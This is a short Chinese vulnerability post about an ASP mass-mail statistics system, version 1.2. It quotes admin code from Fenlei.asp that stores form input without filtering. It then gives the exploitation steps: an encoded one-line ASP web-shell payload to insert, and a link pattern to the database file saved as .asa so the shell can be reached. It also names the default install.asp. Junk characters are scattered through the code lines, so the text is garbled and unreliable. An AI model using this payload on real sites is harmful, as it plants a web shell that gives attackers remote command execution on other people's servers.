铜板儿网邮件群发统计系统 v1.2 漏洞

admin

'Fenlei.asp

& W/ `3 E5 j& gIF Request.QueryString("Action")="del" Then
# o2 {8 f+ S" f- c$ dID=Request.QueryString("ID")
* w$ Y& o5 S7 ]8 B! S% C% v6 YIF Countss ("tui","Fenlei",ID )<>0 then
'略
IF Request.QueryString("Action")="Add" Then
/ |4 P( o3 L; ]& ZTname=Request.Form("Typename")
Set Rs=Server.CreateObject("adodb.Recordset")
Sql="Select * From Fenlei Order by id Desc "
0 D& T, l, |; \5 p. V' U  ~Rs.Open Sql,Conn,1,3
Rs.Addnew
Rs("Typename")=Tname
'略
* q9 R7 ~3 F6 m9 b7 zSet Rs=Server.CreateObject("adodb.Recordset")
Sql="Select * From Fenlei Order by id Desc "
Rs.Open Sql,Conn,1,1
# v* J) ]/ l4 V9 B'略
%>
; e- X  e& @4 R: d
8 }9 z; P3 k7 l, e0 e
8 d7 k( I, ]; T6 s  S6 C: O3 G) {
没有过滤，直接写入数据库。
4 g  F+ r( Z: F, S4 \2 a- ~- s: S
# i2 X8 u# w4 ~2 U, A  X# J  U利用方法：

插入：┼攠數畣整爠煥敵瑳∨≡┩>
$ _8 G( w+ p) f* W8 S& D

" ]8 v- S6 c" s# ?连接： http://www.xxx.com/###tongbaner.asa
'默认安装文件：
, m6 H/ w+ Y" W" o& M/ h: P'install.asp
6 t/ F9 I  r5 X. N7 \5 d